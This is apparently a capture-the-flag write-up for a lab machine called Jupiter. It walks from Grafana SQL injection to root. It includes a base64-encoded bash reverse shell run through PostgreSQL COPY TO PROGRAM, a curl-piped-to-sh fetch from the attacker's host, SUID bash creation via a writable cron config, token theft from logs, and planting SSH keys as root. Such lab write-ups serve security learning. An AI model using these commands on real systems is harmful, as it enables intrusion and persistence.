Jupiter

Recon

nmap_scan.log
Open 10.129.229.15:22
Open 10.129.229.15:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.229.15

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEJSyKmXs5CCnonRCBuHkCBcdQ54oZCUcnlsey3u2/vMXACoH79dGbOmIHBTG7/GmSI/j031yFmdOL+652mKGUI=
|   256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHhClp0ailXIfO0/6yw9M1pRcZ0ZeOmPx22sO476W4lQ
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png

Do subdomain enumeration, because most probably there's nothing on this domain.

└─$ domain='jupiter.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fl 8
kiosk                   [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 103ms]

Grafana

kiosk subdomain is serving Grafana.

Writeup-1.png

Grafana is usually running internally and by default it's making queries to display data, we can take advantage of that.

Writeup-2.png

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-command-execution

"rawSql":"COPY (SELECT '') to PROGRAM 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljk5LzQ0NDQgMD4mMQ==|base64 -d|bash'",
└─$ listen
Ncat: Connection from 10.129.229.15:59966.
postgres@jupiter:/var/lib/postgresql/14/main$ id
uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert)

SSH (22)

Because the postgres service user has bash as the shell we can drop ssh keys and upgrade session.

└─$ ssh-keygen -f id_rsa -P x -q
└─$ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF0AWmf+WMrlgD4A9YgkwRTufMP5WRWWq0BbAxxnfLJ woyag@kraken
---
postgres@jupiter:/var/lib/postgresql$ mkdir .ssh
postgres@jupiter:/var/lib/postgresql$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF0AWmf+WMrlgD4A9YgkwRTufMP5WRWWq0BbAxxnfLJ woyag@kraken' > .ssh/authorized_keys
---
└─$ ssh postgres@jupiter.htb -i id_rsa

Privilege Escalation (juno)

postgres@jupiter:~/14/main$ curl 10.10.14.99/lp.sh|sh|tee /tmp/lp.log
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1132/postgres
tcp6       0      0 :::22                   :::*                    LISTEN      -
...
╔══════════╣ Users with console
jovian:x:1001:1002:,,,:/home/jovian:/bin/bash
juno:x:1000:1000:juno:/home/juno:/bin/bash
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
root:x:0:0:root:/root:/bin/bash
...
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/snap/bin/lxc
/usr/bin/make
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/ping
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
...
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/dev/shm/network-simulation.yml
/dev/shm/PostgreSQL.3102704968
postgres@jupiter:~/14/main$ curl 0:3000 -s | grep -q grafana; echo $?
0
postgres@jupiter:~/14/main$ curl 0:8888 -Ls | grep sys_info
  sys_info = {"notebook_version": "6.5.3", "notebook_path": "/usr/local/lib/python3.10/dist-packages/notebook", "commit_source": "", "commit_hash": "", "sys_version": "3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0]", "sys_executable": "/usr/bin/python3", "sys_platform": "linux", "platform": "Linux-5.15.0-72-generic-x86_64-with-glibc2.35", "os_name": "posix", "default_encoding": "utf-8"};

3000 is Grafana and 8888 seems to be Jupyter Notebooks server.

└─$ ssh postgres@jupiter.htb -i id_rsa -L 8888:0:8888
Writeup-3.png

/dev/shm is usually empty, but linpeas showed that it's not

postgres@jupiter:/dev/shm$ ls -alh
total 32K
drwxrwxrwt  3 root     root      100 Nov 27 23:20 .
drwxr-xr-x 20 root     root     4.0K Nov 27 22:38 ..
-rw-rw-rw-  1 juno     juno      815 Mar  7  2023 network-simulation.yml
-rw-------  1 postgres postgres  27K Nov 27 22:38 PostgreSQL.3102704968
drwxrwxr-x  3 juno     juno      100 Nov 27 23:20 shadow.data
postgres@jupiter:/dev/shm/shadow.data$ find . ! -empty -type f -ls
      612      4 -rw-rw-r--   1 juno     juno         1929 Nov 27 23:22 ./sim-stats.json
      586      4 -rw-rw-r--   1 juno     juno         1889 Nov 27 23:22 ./processed-config.yaml
      593      4 -rw-r--r--   1 juno     juno          177 Nov 27 23:22 ./hosts/server/server.python3.10.1000.stderr
      609      4 -rw-rw-r--   1 juno     juno            1 Nov 27 23:22 ./hosts/client3/client3.curl.1000.exitcode
      600      4 -rw-r--r--   1 juno     juno          548 Nov 27 23:22 ./hosts/client3/client3.curl.1000.stdout
      608      4 -rw-rw-r--   1 juno     juno            1 Nov 27 23:22 ./hosts/client2/client2.curl.1000.exitcode
      596      4 -rw-r--r--   1 juno     juno          548 Nov 27 23:22 ./hosts/client2/client2.curl.1000.stdout
      610      4 -rw-rw-r--   1 juno     juno            1 Nov 27 23:22 ./hosts/client1/client1.curl.1000.exitcode
      604      4 -rw-r--r--   1 juno     juno          548 Nov 27 23:22 ./hosts/client1/client1.curl.1000.stdout

While browsing the files in that directory nothing was found, but sometimes the files got deleted. If we observe this we can can see it being updated every 2minutes.

postgres@jupiter:/dev/shm$ ls -Alh --time-style=full-iso
total 32K
-rw-rw-rw- 1 juno     juno     815 2023-03-07 12:28:32.414576153 +0000 network-simulation.yml
-rw------- 1 postgres postgres 27K 2024-11-27 22:38:22.579999746 +0000 PostgreSQL.3102704968
drwxrwxr-x 3 juno     juno     100 2024-11-27 23:26:02.007919876 +0000 shadow.data
postgres@jupiter:/dev/shm$ ls -Alh --time-style=full-iso
total 32K
-rw-rw-rw- 1 juno     juno     815 2023-03-07 12:28:32.414576153 +0000 network-simulation.yml
-rw------- 1 postgres postgres 27K 2024-11-27 22:38:22.579999746 +0000 PostgreSQL.3102704968
drwxrwxr-x 3 juno     juno     100 2024-11-27 23:28:01.303916543 +0000 shadow.data
postgres@jupiter:/dev/shm$ ls -Alh --time-style=full-iso
total 32K
-rw-rw-rw- 1 juno     juno     815 2023-03-07 12:28:32.414576153 +0000 network-simulation.yml
-rw------- 1 postgres postgres 27K 2024-11-27 22:38:22.579999746 +0000 PostgreSQL.3102704968
drwxrwxr-x 3 juno     juno     100 2024-11-27 23:30:01.571913184 +0000 shadow.data

network-simulation.yml should be the config for cronjob, we have write permissions so let's go privesc.

postgres@jupiter:/dev/shm$ vim network-simulation.yml
postgres@jupiter:/dev/shm$ cat network-simulation.yml
...
hosts:
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
    - path: /usr/bin/install
      args: -m4777 /bin/bash /tmp/junobash
      start_time: 3s
...
postgres@jupiter:/dev/shm$ ls -lah /tmp/junobash
-rwsrwxrwx 1 juno juno 1.4M Nov 27 23:34 /tmp/junobash
postgres@jupiter:/dev/shm$ /tmp/junobash -p
junobash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
junobash-5.1$ mkdir /home/juno/.ssh
junobash-5.1$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF0AWmf+WMrlgD4A9YgkwRTufMP5WRWWq0BbAxxnfLJ woyag@kraken' >> /home/juno/.ssh/authorized_keys

User.txt

juno@jupiter:~$ cat user.txt
fc6bed628047fcfb7684fa3a7e6fe5b4

Privilege Escalation (Jovian)

juno has access to /opt/* directory.

juno@jupiter:/opt/solar-flares$ ls -Alh
total 2.6M
-rw-rw---- 1 jovian science 632K Mar  8  2023 cflares.csv
-rw-rw---- 1 jovian science 692K Mar  8  2023 flares.csv
-rw-rw---- 1 jovian science  10K Mar  8  2023 flares.html
-rw-r----- 1 jovian science 229K Mar  8  2023 flares.ipynb
drwxrwxr-x 2 jovian science 4.0K May  4  2023 .ipynb_checkpoints
drwxrwxr-t 2 jovian science 4.0K Nov 27 22:38 logs
-rw-rw---- 1 jovian science 987K Mar  8  2023 map.jpg
-rw-rw---- 1 jovian science  27K Mar  8  2023 mflares.csv
-rwxr-xr-x 1 jovian science  147 Mar  8  2023 start.sh
-rw-rw---- 1 jovian science 2.0K Mar  8  2023 xflares.csv
juno@jupiter:/opt/solar-flares$ ls logs
jupyter-2023-03-08-14.log  jupyter-2023-03-09-11.log  jupyter-2023-03-10-42.log  jupyter-2023-05-04-04.log  jupyter-2023-05-04-20.log  jupyter-2023-05-04-57.log  jupyter-2023-05-30-53.log
jupyter-2023-03-08-36.log  jupyter-2023-03-09-24.log  jupyter-2023-04-13-43.log  jupyter-2023-05-04-06.log  jupyter-2023-05-04-31.log  jupyter-2023-05-05-03.log  jupyter-2023-06-06-39.log
jupyter-2023-03-08-37.log  jupyter-2023-03-09-59.log  jupyter-2023-04-14-27.log  jupyter-2023-05-04-07.log  jupyter-2023-05-04-43.log  jupyter-2023-05-05-54.log  jupyter-2023-06-07-05.log
jupyter-2023-03-08-38.log  jupyter-2023-03-10-25.log  jupyter-2023-05-04-02.log  jupyter-2023-05-04-08.log  jupyter-2023-05-04-45.log  jupyter-2023-05-30-46.log  jupyter-2024-11-27-38.log
juno@jupiter:/opt/solar-flares$ ls logs -t1 | head -1 | xargs -I{} grep token logs/{}
[I 22:38:24.244 NotebookApp] http://localhost:8888/?token=45f6c7c1d936dc83eb1a257a1bd6139d29fac31592ba3632
[I 22:38:24.244 NotebookApp]  or http://127.0.0.1:8888/?token=45f6c7c1d936dc83eb1a257a1bd6139d29fac31592ba3632
        http://localhost:8888/?token=45f6c7c1d936dc83eb1a257a1bd6139d29fac31592ba3632
     or http://127.0.0.1:8888/?token=45f6c7c1d936dc83eb1a257a1bd6139d29fac31592ba3632

Get the latest token from Logs.

Writeup-4.png

Escalate privileges

Writeup-5.png
jovianbash-5.1$ mkdir /home/jovian/.ssh
jovianbash-5.1$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF0AWmf+WMrlgD4A9YgkwRTufMP5WRWWq0BbAxxnfLJ woyag@kraken' >> /home/jovian/.ssh/authorized_keys

I wasn't able to authenticate via this method, because created files also belonged to Juno user, just run these system calls in os.system and then try SSH.

Privilege Escalation (root)

└─$ ssh jovian@jupiter.htb -i id_rsa
jovian@jupiter:~$ id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

I think the binary is Satellite Tracking with Linux this?

jovian@jupiter:~$ find / -name '*sattrack*' -ls 2>/dev/null
      247      4 drwxr-xr-x   2 root     root         4096 May  4  2023 /usr/local/share/sattrack
     1744   1088 -rwxr-xr-x   1 root     root      1113632 Mar  8  2023 /usr/local/bin/sattrack

jovian@jupiter:~$ cd /usr/local/share/sattrack
jovian@jupiter:/usr/local/share/sattrack$ ls -Alh
total 16M
-rw-r--r-- 1 root root  610 Mar  8  2023 config.json
-rw-r--r-- 1 root root  15M Mar  8  2023 earth.png
-rw-r--r-- 1 root root 301K Mar  8  2023 map.json
jovian@jupiter:/usr/local/share/sattrack$ cat config.json
{
        "tleroot": "/tmp/tle/",
        "tlefile": "weather.txt",
        "mapfile": "/usr/local/share/sattrack/map.json",
        "texturefile": "/usr/local/share/sattrack/earth.png",
        "tlesources": [
                "http://celestrak.org/NORAD/elements/weather.txt",
                "http://celestrak.org/NORAD/elements/noaa.txt",
                "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
        ],
        "updatePerdiod": 1000,
        "station": { "name": "LORCA", "lat": 37.6725, "lon": -1.5863, "hgt": 335.0 },
        "show": [ ],
        "columns": [ "name", "azel", "dis", "geo", "tab", "pos", "vel" ]
}
jovian@jupiter:~$ strace -e trace='newfstatat,write' sattrack 2>&1 | grep -v AT_EMPTY_PATH
newfstatat(AT_FDCWD, "/etc/gnutls/config", 0x7ffc01f5a720, 0) = -1 ENOENT (No such file or directory)
write(1, "Satellite Tracking System\n", 26Satellite Tracking System
) = 26
newfstatat(AT_FDCWD, "/tmp/config.json", 0x7ffc01f5a900, 0) = -1 ENOENT (No such file or directory)
write(1, "Configuration file has not been "..., 57Configuration file has not been found. Please try again!
) = 57
+++ exited with 1 +++

The binary is looking for configuration in the temporary directory.

It looks like we have arbitrary write permissions; tleroot is where files will be downloaded, tlesources is the urls to download files from.

Writeup-6.png

After some testing we are able to write directly to root, because of sudo. One thing to keep in mid is that directory is created if doesn't exist, but tleroot must end with a slash!

jovian@jupiter:/usr/local/share/sattrack$ cat /tmp/config.json
{
        "tleroot": "/root/.ssh/",
        ...
        "tlesources": [
                "http://10.10.14.99/authorized_keys"
        ],
        ...
}
jovian@jupiter:/usr/local/share/sattrack$ sudo /usr/local/bin/sattrack
---
└─$ ssh root@jupiter.htb -i id_rsa
root@jupiter:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

e0f8cff44322875fe7a2eb9db07a7a2d

Last updated